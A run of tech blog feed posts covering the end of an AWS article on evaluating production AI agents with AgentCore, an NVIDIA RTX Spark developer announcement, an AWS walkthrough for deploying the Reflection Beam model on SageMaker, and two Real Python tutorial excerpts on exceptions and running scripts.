AgentCore Observability, a capability of Amazon Bedrock AgentCore, is the foundation. For agents hosted on the AgentCore runtime, a capability of Amazon Bedrock AgentCore, every execution is instrumented automatically through OpenTelemetry, emitting structured telemetry for every reasoning step: tools called, order, inputs and outputs, latency, and token consumption, published directly to CloudWatch as custom metrics and logs, after CloudWatch Transaction Search is enabled (a one-time setup step). Evaluator scores are a separate pipeline: they come from evaluation configs, not from execution instrumentation, and land in their own CloudWatch log group. Every evaluation run also persists its full outputs to S3 and our data lake, feeding two dashboards:
	A conversational dashboard to query evaluation and observability results.
	An Amazon Quick dashboard for trend analysis, scorecard tracking, and cross-agent comparisons across the full history.

Role-appropriate views sit on top. Oncall engineers get a trace-first view: one click from a CloudWatch alarm to the AgentCore Observability trace that triggered it. The trace shows every tool called, in what order, with latency per step, token consumption, cost, and the full reasoning context: everything needed to go from “alarm fired” to “root cause identified” without opening a second tool, as shown in Figure 5.

 
 Figure 5: AgentCore execution trace for the Customer Insights Agent, showing the span tree, trajectory, and span-level metrics. The numbers and values in the figure are illustrative.

Product managers get Amazon Quick trend dashboards: quality scores by sub-agent and feature, release-over-release. Leadership gets a single-page health summary aligned to weekly and cross-business reviews across all five dimensions, a one-minute spot check that answers “how are our agents performing?”
Figure 6 shows the top-line view of our weekly evaluation dashboard: one combined pass rate drawn from both custom evaluators and AgentCore built-in evaluators, alongside latency, for the week’s run. The numbers and values in the figure are illustrative.

 
 Figure 6: Top-line weekly evaluation dashboard with combined pass rate and latency. The numbers and values in the figure are illustrative.

Figure 7 drills into that same run at the custom-evaluator, failure-category level, breaking down exactly which error types (metric swaps, hallucinations, customer ID misses, and others) are driving the gap and how many questions each one affects. The numbers and values in the figure are illustrative.

 
 Figure 7: Weekly error-reporting dashboard breaking down failures by category. The numbers and values in the figure are illustrative.

Before Stage 8, mean time to detect (MTTD) was days to weeks. After Stage 8, it is under four hours, and the first signal is a CloudWatch alarm with an AgentCore trace attached.
Stage 9: The Feedback Loop. Continuous improvement
This stage turns observations into actions. The system compounds quality over time. We use AgentCore optimization, a capability of Amazon Bedrock AgentCore, to close the loop.
	System prompt recommendation: Analyzes agent traces and generates a data driven optimized system prompt that improves performance on the target evaluator. The solution uses failure patterns and adds specific behavioral instructions.
	Tool description recommendation: Analyzes agent traces and generates sharpened tool descriptions that reduce tool selection confusion. Particularly when an agent selects the wrong tool for ambiguous requests.

Let’s look at an example:

 AgentCore optimization in action

 What to improve on:
  

  Target evaluator: hallucination: model reproducing hardcoded values from few-shot examples verbatim in unrelated contexts.

 Why this happened: Few-shot examples contain real dollar amounts and customer names (for example, “$4.2M”, “Acme Corp”) that the model memorizes and leaks into unrelated queries.

 How to fix: Replace hardcoded values in few-shot examples with generic placeholders (for example, $[AMOUNT], [CUSTOMER_NAME]) so the model learns response structure without memorizing specific data points.

 Impact and result: Fix applied. Pure hallucination occurrences dropped from 138 to under 52 per 10,000 responses, and overall grounding rate improved from 93 percent to 96 percent.


AgentCore optimization uses recommendations to produce data driven system prompt and tool descriptions changes based on real agent traces and a target evaluator. AgentCore optimization builds on AgentCore Evaluations . Low-scoring traces are promoted into the golden set as permanent regression guards so each failure does not reach users twice.
Agent evaluation key metrics at a glance
The evaluation metrics are defined at Stage 1, enforced across the nine stages, and monitored continuously in production. This set is not static. As we learn from the agent in production, new failure patterns surface, new dimensions become measurable, and the metrics evolve accordingly. What follows is where we started and what we track today.
	Level	Metric	What it measures	Tracked as
	Quality: Agent	Overall accuracy pass rate	% of responses with zero taxonomy failures	Headline scorecard metric
	Quality: Agent	Metric swap rate	Correct customer and period, wrong metric returned	Occurrences per 100 responses
	Quality: Agent	Wrong period rate	Data from the wrong time window	% citing the correct time window
	Quality: Agent	Wrong customer rate	Conflated account names or subsidiaries	Entity resolution accuracy %
	Quality: Agent	Grounding rate	Figures traceable to a retrieved source	% of reported figures grounded
	Quality: Agent	Scope adherence rate	Responses that address the question asked	% on-topic responses
	Quality: Agent	Unauthorized calculation rate	Unsanctioned derived figures	Occurrences per 100 responses
	Quality: Agent	Relevance / Faithfulness / Helpfulness	Response quality across AgentCore built-in dimensions	AgentCore built-in evaluator score (0–1)
	Quality: Tool	Customer identification accuracy	Tool resolves to the exact canonical entity	% correct resolutions (deterministic)
	Quality: Tool	Tool selection accuracy	Agent selects the correct tool for the query	AgentCore built-in evaluator score (0–1)
	Quality: Tool	Retrieval precision	Retrieved context contains the information needed	% retrievals with relevant context
	Quality: Tool	SQL generation accuracy	Data Insights Agent generates correct SQL	% correct result sets (deterministic)
	Quality: Tool	Tool pass rate	% of tool calls returning a valid response	% success per tool
	Quality: Multi-agent	End-to-end accuracy pass rate	Full orchestration path produces a correct response	% of scenarios passing all evaluators
	Quality: Multi-agent	Routing accuracy	Orchestrator routes to the correct sub-agent(s)	% correct routing (deterministic)
	Quality: Multi-agent	Synthesis faithfulness	Sub-agent outputs combined without distortion	LLM-as-judge score across agent boundaries
	Quality: Multi-agent	Context propagation accuracy	Context passed between agents is correct and complete	% traces with no context loss
	Safety	Guardrail block rate	% of requests blocked at input or output	Per 1,000 requests
	Safety	Input / Output violation rate	% of queries or responses flagged as policy-violating	% of total requests / responses
	Safety	Guardrail latency	Latency overhead added by guardrail checks	p99 (target: under 50ms)
	Performance	End-to-end latency	Query received to response delivered	p50, p90, p99
	Performance	Per sub-agent / tool latency	Per sub-agent and per tool execution	p50, p90, p99 independently
	Performance	Latency regression rate	CI runs that breach the Stage 1 latency threshold	% of CI runs
	Cost	Cost per query	Total token cost per end-to-end user request	Input + output tokens × price
	Cost	Cost per successful response	Cost per query divided by pass rate	Penalizes costly failures
	Cost	Avg tool calls per query	Reasoning efficiency. Rising calls signal degradation	Average per query
	Ops control	MTTD / MTTR	Time to detect and remediate, per failure class	Hours (MTTD target: under 4h)
	Ops control	Automation detection rate	Incidents detected by evaluation compared to user complaints	% (target: above 95%)
	Ops control	Alarm false positive rate	Alarms not corresponding to real degradation	% of total alarms

Conclusion
The impact of the nine-stage agent evaluation framework was concrete and measurable. Quality regressions that previously took days or weeks to surface, and usually arrived through a seller complaint, are now caught in under four hours by automated evaluation. Deployment decisions that once relied on subjective judgment now require every evaluator to pass a quantitative threshold. Prompt iteration cycles fell from days to minutes. Safety moved from periodic audits to 100 percent guardrail coverage on every request. Latency regressions are caught at the CI gate before they reach production. Cost surprises that once appeared weeks later in billing are now evaluated at Stage two and enforced by the quality gate before a change ships. And “something in the agent pipeline” became one click from a CloudWatch alarm to a full agent execution trace with every reasoning step visible.
The broader lesson is one the industry has learned before. DevOps taught us that shipping code without automated testing is reckless. MLOps taught us that deploying models without monitoring is dangerous. AgentOps teaches us the same thing about AI agents: operating them without continuous, multi-level evaluation is flying blind.
The nine-stage framework described here is not specific to sales intelligence agents. Team deploying multi-agent systems that reason, call sub-agents, tools, and synthesize responses will face these same questions across the same lifecycle. Your failure taxonomy will look different. Your golden set will reflect your domain. Your evaluator stack will be tuned to your users. What stays constant is the principle: evaluation is not a final QA step. It is the operating system of the agent itself, continuously measured, automatically defended, and improved with every interaction.
If you are building production agents and want to bring this kind of evaluation discipline to your system, Amazon Bedrock AgentCore Evaluations gives you the platform to do it: on-demand evaluation for experiments, batch evaluation for continuous monitoring, online evaluation for live traffic, built-in and customized evaluators, dataset evaluation(in public preview), CloudWatch integration, and the AgentCore optimization features recommendations and A/B tests to close the feedback loop. Start with Stage one, define what good looks like for your agent, and let the framework do the rest.
Ready to start? See Evaluate agent performance in the Amazon Bedrock AgentCore documentation. And if you’re building production agents and want to talk through how to apply this framework to your system, we’re happy to help. Reach out to us directly or through your AWS account team.
To learn more about Amazon Bedrock AgentCore Evaluations, see Evaluate agent performance in the AWS documentation. For a technical introduction, read Build reliable AI agents with AgentCore Evaluations. To see how we built the Performance Insights Agent, read How AWS SMGS uses an AI-powered conversational assistant to transform business management with Amazon Bedrock AgentCore. To learn about AgentCore recommendation and optimization, read AgentCore optimization: Improve agent quality loop with recommendations and A/B tests​
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Code, Test, and Deploy on One Machine with NVIDIA RTX Spark

NVIDIA Developer · Oct 16, 5:00 PM UTC

AI agents are changing how software gets built. Developers have gone from writing every line of code by hand to directing agents that write most of the code. As a result, the current workflow is split across a laptop, a cloud model API, and a cloud VM. 
NVIDIA RTX Spark is built for AI development. Thanks to the NVIDIA GB10 system-on-a-chip and large unified memory, developers can run local coding agents, access AI frameworks, and code, test, and deploy on a single PC.
One machine to code, test, and deploy
RTX Spark laptops and compact desktops enable developers to complete all of their workflow on a single machine.
Developers can choose to work in Windows, including the new Windows Developer Config, developed with Microsoft, which installs the top development frameworks, mutes notifications, enhances the terminal, and can move their task bar to the side. Or they can work in Windows Subsystem for Linux, where they get access to the same environment and dependencies they will use when deploying to the cloud. 
This enables developers to complete all their work in their target OS without code migrations. And since RTX Spark has an NVIDIA GPU, developers can test and deploy to the largest local AI installed base: 150 million RTX PCs, as well as virtually all the clouds in the world that run on NVIDIA GPUs.
With up to 128GB of unified memory and 1 petaflop of FP4 AI compute, developers can run coding models locally, including Qwen 3.8 Flash Next, reducing cloud coding agent token consumption.
The performance you need for AI development 
Development has gone from being a CPU-bound workload, where performance was determined mostly by the CPU, to a GPU-bound workload. AI developers today need to run inference to run their coding agents and test their apps; for fine-tuning and training models; and yes, still a bit of compilation.
Thanks to the NVIDIA Grace CPU and Blackwell GPU in RTX Spark, these laptops and desktops come equipped with all the compute required for inference, fine-tuning and compilation. Compared with Intel’s Panther Lake 12Xe, RTX Spark delivers 4.6x performance on coding agents, 2.7x performance on fine-tuning, and 1.8x performance on code compilation.

Figure 1. NVIDIA developer-workload comparison, with Intel Core Ultra X9 388H normalized to 1.0. Tests: AA-AgentPerf-local with Qwen3.8-27B; Unsloth LoRA with Llama-3.1-8B; and Linux kernel compilation using Phoronix Test Suite
A familiar software stack, expanded for Windows
NVIDIA partnered with Microsoft to advance the Windows on Arm developer landscape. Together with RTX Spark, the community is releasing multiple new tools, including the first PyTorch-CUDA build, the first Python release that is native by default with Python 3.15, over 2,000 ready-to-use Conda packages, and Arm-compatible versions for more than 97% of the top 15,000 Python packages.
A key advantage of developing on NVIDIA hardware is access to the largest ecosystem of developer tools, from coding agents, to AI models, to frameworks. 
Because NVIDIA GPUs are the most widely used platform for AI development, new tools and frameworks typically work on NVIDIA from day one, while support for other hardware follows weeks later. There’s also access to NVIDIA CUDA-X libraries, including tools such as FlashInfer for LLM acceleration and NVIDIA NeMo libraries tools for AI model development. 
NVIDIA also provides a repository of NVIDIA Skills that teach agents how to use CUDA-X libraries, enabling developers to build GPU-accelerated applications without requiring deep familiarity with CUDA.

Figure 2. RTX Spark’s ecosystem of agents, models, frameworks, and CUDA-X libraries
Local coding agents come to RTX Spark
RTX Spark devices are ideal for local coding agents. NVIDIA has collaborated closely with the top agents, including GitHub Copilot, Pi, Hermes, and OpenClaw, to improve them and make them easier to use.
The improvements include:
	Seamless deployment of local models with optimized recipes
	Enhanced security with NVIDIA OpenShell and/or Microsoft Execution Containers, delivering OS-level sandboxing
	Hybrid prompt routers between local and cloud models, so that prompts get sent to local models if they are good enough, or escalated to cloud if needed, reducing token consumption

Microsoft GitHub CoPilot now enables seamless local AI through Windows ML, which is now supported with llama.cpp as a backend. The prompt router HydraFusion has been upgraded to also support local models. And the new MAI 1.1 Coding Flash model can run locally on RTX Spark. 
Pi, an open-source coding agent with a lightweight terminal interface and support for local and cloud models, is also optimized for RTX Spark. Its extensions, skills, and prompt templates give developers control over how the agent fits into their workflow, from model selection to the tools it can use.
JetBrains has launched native support for Junie Local on RTX Spark. The coding agent reads code, edits files, and runs tests, with the model and code staying on the machine. Junie Local sizes its context window to the memory available to the GPU, so RTX Spark unified memory lets it keep more code, tool output, and conversation history in context.
New Nemotron models offer more options for local agents
Nemotron 3.5 Bolt 74B-A9B 24GB is a new LLM purpose-built for running local agents on RTX Spark. 
This model is a 74B parameter, 9B-active-parameter mixture-of-experts (MoE) model, packed into 24GB using 2-bit quantization with advanced quantization-aware training techniques to retain quality. It aims to achieve the optimal balance between speed and intelligence, being faster than most popular dense models while smarter than most popular MoE models with a similar memory footprint.
Users will be able to run Nemotron 3.5 Bolt 74B at launch through llama.cpp, vLLM, Ollama, Unsloth and LM Studio. It will also be directly accessible via agents such as Hermes and OpenClaw.  
Like other Nemotron models, Bolt 74B is fully open source, including training data, weights and recipes, so developers can fine-tune and customize their own agents.
Decision models now supported in top frameworks
Decision models are the latest breakthrough in AI development. They give AI agents a near-instant way to make decisions, without lengthy reasoning loops. They can choose what to do next, from classifying requests, to selecting the next action, up to 200x faster than traditional agents. Decision models are now supported in llama.cpp and Unsloth on RTX Spark and GeForce RTX GPUs.
The NVIDIA AI for Media SDKs are now available for RTX Spark, including Python wheel with support for video super resolution, frame generation, and TrueHDR. The wheel is available on PyPI, with C++ SDKs also available on NGC for RTX Spark and Windows on Arm.
Bring your Windows applications to RTX Spark
To bring an existing application to RTX Spark, first assess dependencies for Windows on Arm. Choose a native Arm64 build or use Arm64EC to migrate components incrementally. Test installation, functionality, performance, and the NVIDIA and CUDA paths your app uses. 
NVIDIA’s app-porting resources explain the migration options and tools, including how to start preparation on an existing Windows on Arm development system.
Find your RTX Spark and start building
RTX Spark is available now in laptops, and coming in November to small form factor desktops that are ideal for always on, 24×7 running agents. 
Explore RTX Spark systems to find your favorite and see available purchasing options.
Once you get your own, get started with the AI Development playbook to configure Windows, set up your agent, and connect NVIDIA Skills. And learn about how you can get started developing Local AI apps for NVIDIA GPUs.
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Introducing Reflection Beam: an open-weight model for agentic coding on AWS

AWS Machine Learning · Oct 16, 3:23 PM UTC

Reflection AI introduced Beam, an open-weight model for agentic coding and long-horizon tasks such as maintaining code, using tools, interpreting results, and completing multi-step workflows. The open-weight release gives developers and researchers control over the runtime, deployment environment, and customization process.
In this post, we explain Reflection’s vision and show how you can deploy Beam on AWS. Start with an Amazon SageMaker JumpStart real-time endpoint for a fully managed path. When you need Kubernetes-native control over distributed GPU infrastructure, use Amazon SageMaker HyperPod Inference with JumpStart, SGLang, or vLLM. We also explain how Beam’s 501 billion total parameters shape checkpoint storage, weight memory, sharding, and parallelism, while its 23 billion active parameters influence per-token compute.
At launch, Beam is available in Amazon SageMaker JumpStart in US East (N. Virginia) and US East (Ohio).
Reflection’s vision for open intelligence
Reflection’s mission is to make intelligence open and accessible to all through open model weights, published research, and open source software. Its full AI stack spans models, core software, production infrastructure, and applications. Beam brings this approach to developers building software engineering and agentic systems.
About Reflection Beam
Beam is a sparse mixture-of-experts model for resolving software issues, modifying code, calling tools, and acting on intermediate results. It has 501 billion total parameters and 23 billion active parameters, and Reflection reports an effective context length of 1 million tokens.
Reflection releases Beam’s weights through Hugging Face under the Apache 2.0 license. Beam 1.0 is available in BF16, FP8, and NVFP4 checkpoint variants. These formats provide different memory footprints and hardware compatibility. You can deploy the model with the AWS managed JumpStart container configuration or inspect and customize the model with SGLang or vLLM in your AWS environment.
Understand the deployment architecture
Choose the serving path that meets your control and scaling requirements.
	Start with a SageMaker JumpStart real-time endpoint when you want an AWS managed model package, endpoint, and invocation API without operating Kubernetes.
	Use JumpStart on HyperPod Inference when you want the AWS managed container and model configuration on a HyperPod cluster orchestrated by Amazon Elastic Kubernetes Service (Amazon EKS).
	Use SGLang or vLLM on HyperPod Inference when you need to control the serving image, runtime arguments, quantization, or distributed execution.
	Size the deployment for checkpoint storage, weight memory, KV cache, context length, batching, runtime overhead, and the supported parallelism.
	Define the expected concurrency and latency targets, then configure replicas, caching, routing, and autoscaling from measured workload behavior.

The JumpStart real-time path packages the model, container, and endpoint behind a managed deployment workflow. The HyperPod path exposes the cluster and serving runtime so that you can control distributed execution, caching, routing, and scaling.
The following diagram shows the components used by the HyperPod path. Beam can be sourced through SageMaker JumpStart, Hugging Face Hub, or an optional Amazon Simple Storage Service (Amazon S3) mirror. The distributed workers use the AWS managed JumpStart container or a custom SGLang or vLLM runtime.

 
 Figure 1: Distributed Beam deployment with Amazon SageMaker HyperPod Inference

Prerequisites
You need:
	An AWS account with permissions for your selected SageMaker deployment path and its supporting AWS Identity and Access Management (IAM), networking, and storage resources.
	Access to Beam through SageMaker JumpStart or one of the Beam 1.0 checkpoint repositories on Hugging Face.
	Acceptance of the model terms, the AWS Command Line Interface (AWS CLI), and Python 3.11 or later.
	GPU quota and capacity for a supported Beam configuration.

Plan and obtain GPU capacity
Beam’s 501 billion total parameters require a multi-GPU deployment. BF16 has the largest weight-memory requirement, so plan a multi-node configuration with enough aggregate GPU memory for the weights and runtime overhead. For FP8, use ml.p5.48xlarge with NVIDIA H100 GPUs or ml.p5e.48xlarge and ml.p5en.48xlarge with H200 GPUs. For NVFP4, use ml.p6-b200.48xlarge with NVIDIA B200 GPUs. Confirm that the released checkpoint, runtime, and parallel layout support the selected instance type.
	Calculate memory for weights, KV cache, and runtime overhead for one replica, then confirm the estimate with a load test.
	Choose an AWS Region that supports the required accelerated instance.
	Check the service quota and available capacity for the selected instance type. Use on-demand capacity when available, or use a SageMaker training plan as a short-term reservation for scheduled work.
	Allow time for image transfer, weight download, shard loading, and runtime initialization.

Path 1: Get started with a SageMaker JumpStart real-time endpoint
Use a JumpStart real-time endpoint first when you want the shortest path from the model catalog to a managed HTTPS endpoint. The sample supports the BF16, FP8, and NVFP4 model IDs through one variant-aware command. Its README and Python file are the source of truth for supported instance types, request schema, deployment command, and cleanup command.
	Clone the sample repository.
  
   git clone https://github.com/aws-samples/sagemaker-genai-hosting-examples.git

  
	Enter the SageMaker JumpStart deployment sample directory.
  
   cd sagemaker-genai-hosting-examples/01-models/ReflectionAI/Beam-1.0-501B-A23B-NVFP4/

  
	Create and activate a Python virtual environment.
  
   python3 -m venv .venv
source .venv/bin/activate

  
	Install the sample dependency.
  
   python -m pip install -r requirements.txt

  
	Run the bounded deployment, invocation, and cleanup lifecycle for FP8.
  
   python jumpstart_real_time.py \
--variant fp8 \
--endpoint-name reflection-beam-fp8-smoke

  
  The command deploys the FP8 endpoint, sends a short request, prints the response, and cleans up the endpoint. Use bf16 or nvfp4 to select another checkpoint variant; NVFP4 is the default when you omit --variant. Use the Python functions in the README when you need to keep an endpoint running.


Path 2: Deploy with SageMaker HyperPod Inference
Use HyperPod Inference when you need Kubernetes-native control over distributed GPU infrastructure. You can use the AWS managed JumpStart container configuration or deploy Beam with SGLang or vLLM. The HyperPod Inference deployment sample README and its configuration files are the source of truth for released manifests, model and image identifiers, supported runtime versions, and commands.
Before you begin, configure kubectl access to an EKS-orchestrated HyperPod cluster with the HyperPod Inference Operator and required add-ons. You also need the cluster virtual private cloud (VPC), subnets, security groups, access to the selected Beam and runtime artifacts, and local NVMe capacity if you enable model caching. Use an isolated Hugging Face access token if the selected repository requires authentication.
Deploy a pinned Beam revision from Hugging Face Hub for development and experimentation. For production deployments and model caching, copy the checkpoint to Amazon S3 or Amazon FSx. HyperPod model and image caching can preload weights onto node-local NVMe storage and pre-pull the serving image.
The HyperPod Inference Gateway provides an OpenAI-compatible interface and routes requests across replicas. HyperPod Inference also supports managed tiered KV caching and intelligent routing. These are among the Amazon SageMaker Inference capabilities introduced in 2026.
The next diagram expands the model preparation and runtime request flow. When model caching is enabled, the Inference Operator warms eligible nodes with the selected weights and serving image. At runtime, the Inference Gateway and Endpoint Picker can direct each request to a suitable JumpStart-managed, SGLang, or vLLM replica.

 
 Figure 2: HyperPod model caching and request routing

Prepare deployment artifacts
Use immutable inputs so that you can reproduce deployment and performance results.
	Use the JumpStart model release recorded in the deployment sample.
	Choose the BF16, FP8, or NVFP4 checkpoint for a custom runtime.
	For a custom runtime, keep the public Beam commit SHA and image digest in the sample release configuration.
	Mirror the released image into a private Amazon Elastic Container Registry (Amazon ECR) repository only when your cluster cannot pull the upstream image or your organization requires an approved registry.
	Keep tokens, generated secrets, private model IDs, registry credentials, and unpublished results out of the repository.

Choose a serving path
Start with SageMaker JumpStart unless your workload requires a specific inference runtime or configuration.
	Serving path	Use it when	What you manage
	SageMaker JumpStart	You want an AWS-managed container and model configuration with less runtime maintenance.	Select the Beam model version, supported instance type, endpoint configuration, and scaling policy.
	SGLang or vLLM	You need a specific inference runtime or configuration, such as custom runtime arguments, parsers, quantization, or parallelism.	Pin the supported runtime image, model revision, parser configuration, and distributed execution settings.

Deploy with SageMaker JumpStart
SageMaker JumpStart reduces container integration work while HyperPod retains control over cluster capacity, scaling, and observability.
	In SageMaker Studio, open the JumpStart model catalog.
	Under All public models, choose Beam.
	Choose SageMaker HyperPod as the deployment target.
	Select the cluster and Kubernetes namespace.
	Enter an endpoint name, and choose Deploy.
	Confirm the deployment status before invoking the endpoint with the released JumpStart request schema.

For an infrastructure-as-code workflow, use the released JumpStart configuration in the HyperPod sample. You can inspect the reflection-beam-jumpstart.yaml manifest template before configuring the deployment.
	Clone the sample repository, and enter the HyperPod Beam directory.
  
   git clone https://github.com/aws-samples/sagemaker-genai-hosting-examples.git
cd sagemaker-genai-hosting-examples/SageMakerHyperpod/reflection-beam/

  
	Create the local configuration files described in the README.
  
   cp config/deployment.env.example config/deployment.env
cp config/release.env.example config/release.env

  
	Validate the JumpStart configuration before changing the cluster.
  
   python hyperpod_tool.py \
  --config config/deployment.env \
  --config config/release.env \
  validate jumpstart

  
	Deploy the JumpStart configuration.
  
   python hyperpod_tool.py \
  --config config/deployment.env \
  --config config/release.env \
  deploy jumpstart \
  --timeout-seconds 1800

  

The helper renders and applies the released JumpStartModel resource without writing populated release values to disk.
Deploy with SGLang or vLLM
Choose SGLang or vLLM when you need direct control over the serving runtime. Before configuring the deployment, inspect the reflection-beam-sglang.yaml manifest template or the reflection-beam-vllm.yaml manifest template. The sample README remains the source of truth for released values and commands.
	Clone the sample repository.
  
   git clone https://github.com/aws-samples/sagemaker-genai-hosting-examples.git

  
	Enter the HyperPod Beam directory.
  
   cd sagemaker-genai-hosting-examples/SageMakerHyperpod/reflection-beam/

  
	Create the local configuration files described in the README.
  
   cp config/deployment.env.example config/deployment.env
cp config/release.env.example config/release.env

  
	Validate the selected configuration before changing the cluster.
  
   python hyperpod_tool.py \
  --config config/deployment.env \
  --config config/release.env \
  validate sglang

  
	Deploy Beam, and wait for a terminal deployment state.
  
   python hyperpod_tool.py \
  --config config/deployment.env \
  --config config/release.env \
  deploy sglang \
  --timeout-seconds 1800

  
  Replace sglang with vllm to use vLLM. The helper validates the selected settings, applies the rendered manifest without writing release values to disk, waits with a fixed timeout, and prints diagnostics if deployment fails.


Invoke Beam
Invoke JumpStart endpoints with the released model request schema. For SGLang or vLLM, use the bounded smoke test included in the HyperPod sample.
Invoke the deployed endpoint
	Install the sample client dependency.
  
   python3 -m venv .venv
source .venv/bin/activate
python -m pip install -r requirements.txt

  
	Run a private health check and short request with the recommended starting sampling settings.
  
   python hyperpod_tool.py \
--config config/deployment.env \
smoke sglang \
--prompt "List three checks for a healthy model deployment." \
--temperature 1.0 \
--top-p 0.7

  
  Replace sglang with vllm for a vLLM deployment. The helper selects a ready worker, opens a temporary port-forward, checks endpoint health, sends the request, and closes the port-forward.


The response resembles the following:

 1. Confirm that the endpoint reports ready.
2. Send a short inference request.
3. Review the service logs for startup errors.

For an authenticated Inference Gateway, use the bearer-token procedure in the HyperPod sample README. Keep credentials out of source code, manifests, and command history.
Measure and tune performance
	Test each serving path with repeated, representative coding and tool-use requests at the expected concurrency.
	Record the Beam model version, image digest, instance type, precision, context length, parallelism, serving arguments, cache state, and test repetitions.
	Measure request success rate, p50 and p95 time to first token, time per output token, end-to-end latency, and aggregate output tokens per second.
	Tune batch size, KV cache allocation, replica count, autoscaling, and model and image caching from those results.
	Recheck output quality after changing precision or quantization.

Clean up
Delete resources when you finish testing to avoid ongoing charges.
	For a SageMaker JumpStart real-time endpoint, follow the cleanup instructions in the SageMaker JumpStart deployment sample README.
	For JumpStart, SGLang, or vLLM on Amazon SageMaker HyperPod Inference, follow the cleanup instructions in the HyperPod Inference deployment sample README.
	Delete a dedicated HyperPod or Amazon EKS cluster created for the walkthrough.
	Delete unused cached weights, mirrored artifacts, load balancers, log groups, temporary IAM roles, and captured inference data.

Conclusion
Reflection Beam gives developers an open-weight model designed for agentic coding and multi-step tasks. Start with a SageMaker JumpStart real-time endpoint for a fully managed deployment. Use SageMaker HyperPod Inference with JumpStart when you need Kubernetes-native infrastructure control without managing the serving container, or choose SGLang or vLLM when you need a custom runtime.
Use the SageMaker JumpStart deployment sample or the HyperPod Inference deployment sample, then follow the instructions.
To learn more about Reflection AI and its vision for open intelligence, visit Reflection AI and read Introducing Beam.
Resources
	Reflection Beam checkpoint variants: BF16, FP8, and NVFP4
	SageMaker JumpStart deployment sample
	HyperPod Inference deployment samples with JumpStart, vLLM, and SGLang
	Deploy foundation models from SageMaker JumpStart to HyperPod Inference
	Amazon SageMaker Inference 2026 year-to-date launches in review
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Python Exceptions: An Introduction

Real Python · Oct 16, 2:00 PM UTC

Python exceptions provide a mechanism for handling errors that occur during the execution of a program. Unlike syntax errors, which are detected by the parser, Python raises exceptions when an error occurs in syntactically correct code. Knowing how to raise, catch, and handle exceptions effectively helps to ensure your program behaves as expected, even when encountering errors.

By the end of this tutorial, you’ll understand that:

	Exceptions in Python occur when syntactically correct code results in an error.
	The try … except block lets you execute code and handle exceptions that arise.
	You can use the else and finally keywords for more refined exception handling.
	It’s bad practice to catch all exceptions at once using except Exception or the bare except clause.
	Combining try, except, and pass allows your program to continue silently without handling the exception.


In this tutorial, you’ll get to know Python exceptions and all relevant keywords for exception handling by walking through a practical example of handling a platform-related exception. Finally, you’ll also learn how to create your own custom Python exceptions.


Get Your Code: Click here to download the free sample code that shows you how exceptions work in Python.




   Take the Quiz: Test your knowledge with our interactive “Python Exceptions: An Introduction” quiz. You’ll receive a score upon completion to help you track your learning progress:


  


  
    

      
        

            


          
            
              
            
          
        
      

    

    
       
      Interactive Quiz

      Python Exceptions: An Introduction 
      In this quiz, you'll test your understanding of Python exceptions. You'll cover the difference between syntax errors and exceptions and learn how to raise exceptions, make assertions, and use the try and except block.

    
  



Understanding Exceptions and Syntax Errors

Syntax errors occur when the parser detects an incorrect statement. Observe the following example:


  
    Language: Python Traceback
    
    
      
    
  
  
    >>> print(0 / 0))
  File "<stdin>", line 1
    print(0 / 0))
                ^
SyntaxError: unmatched ')'


    
    
    
  

The arrow indicates where the parser ran into the syntax error. Additionally, the error message gives you a hint about what went wrong. In this example, there was one bracket too many. Remove it and run your code again:


  
    Language: Python
    
    
      
        
      
    
  
  
    >>> print(0 / 0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
    print(0 / 0)
          ~~^~~
ZeroDivisionError: division by zero


    
    
    
  

This time, you ran into an exception error. This type of error occurs whenever syntactically correct Python code results in an error. The last line of the message indicates what type of exception error you ran into.

Instead of just writing exception error, Python details what type of exception error it encountered. In this case, it was a ZeroDivisionError. Python comes with various built-in exceptions as well as the possibility to create user-defined exceptions.

Raising an Exception in Python

There are scenarios where you might want to stop your program by raising an exception if a condition occurs. You can do this with the raise keyword:



You can even complement the statement with a custom message. Assume that you’re writing a tiny toy program that expects only numbers up to 5. You can raise an error when an unwanted condition occurs:


  
    Language: Python
    Filename: low.py
    
      
    
  
  
    number = 10
if number > 5:
    raise Exception(f"The number should not exceed 5. ({number=})")
print(number)


    
    
    
  

In this example, you raised an Exception object and passed it an informative custom message. You built the message using an f-string and a self-documenting expression.

When you run low.py, you’ll get the following output:


  
    Language: Python Traceback
    
    
      
    
  
  
    Traceback (most recent call last):
  File "./low.py", line 3, in <module>
    raise Exception(f"The number should not exceed 5. ({number=})")
Exception: The number should not exceed 5. (number=10)


    
    
    
  

The program comes to a halt and displays the exception to your terminal or REPL, offering you helpful clues about what went wrong. Note that the final call to print() never executed, because Python raised the exception before it got to that line of code.

With the raise keyword, you can raise any exception object in Python and stop your program when an unwanted condition occurs.

Debugging During Development With assert

Before moving on to the most common way of working with exceptions in Python using the try … except block, you’ll take a quick look at an exception that’s a bit different than the others.

Read the full article at https://realpython.com/python-exceptions/ »

[ Improve Your Python With Python Tricks – Get a short & sweet Python Trick delivered to your inbox every couple of days. >> Click here to learn more and see examples ]
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How to Run Your Python Scripts and Code

Real Python · Oct 16, 2:00 PM UTC

Running Python scripts is essential for executing your code. You can run Python scripts from the command line using python script.py, directly by making files executable with shebangs on Unix systems, or through IDEs and code editors. Python also supports interactive execution through the standard REPL for testing code snippets.

This tutorial covers the most common practical approaches for running Python scripts across Windows, Linux, and macOS.

By the end of this tutorial, you’ll understand that:

	The python command followed by a script filename executes the code from the command line on all operating systems.
	Script mode runs code from files sequentially, while interactive mode uses the REPL for execution and testing with immediate feedback.
	Unix systems require executable permissions and a shebang line like #!/usr/bin/env python3 to run scripts directly as programs.
	The python command’s -m option runs Python modules by searching sys.path rather than requiring file paths.
	IDEs like PyCharm and code editors like Visual Studio Code provide built-in options to run scripts from the environment interface.


To get the most out of this tutorial, you should know the basics of working with your operating system’s terminal and file manager. It’d also be beneficial to be familiar with a Python-friendly IDE or code editor and with the standard Python REPL (Read-Eval-Print Loop).


Free Download: Get a sample chapter from Python Tricks: The Book that shows you Python’s best practices with simple examples you can apply instantly to write more beautiful + Pythonic code.




   Take the Quiz: Test your knowledge with our interactive “How to Run Your Python Scripts” quiz. You’ll receive a score upon completion to help you track your learning progress:


  


  
    

      
        

            


          
            
              
            
          
        
      

    

    
       
      Interactive Quiz

      How to Run Your Python Scripts 
      One of the most important skills you need to build as a Python developer is to be able to run Python scripts and code. Test your understanding on how good you are with running your code.

    
  



What Scripts and Modules Are

In computing, the term script refers to a text file containing a logical sequence of orders that you can run to accomplish a specific task. These orders are typically expressed in a scripting language, which is a programming language that allows you to manipulate, customize, and automate tasks.

Scripting languages are usually interpreted at runtime rather than compiled. So, scripts are typically run by an interpreter, which is responsible for executing each order in a sequence.

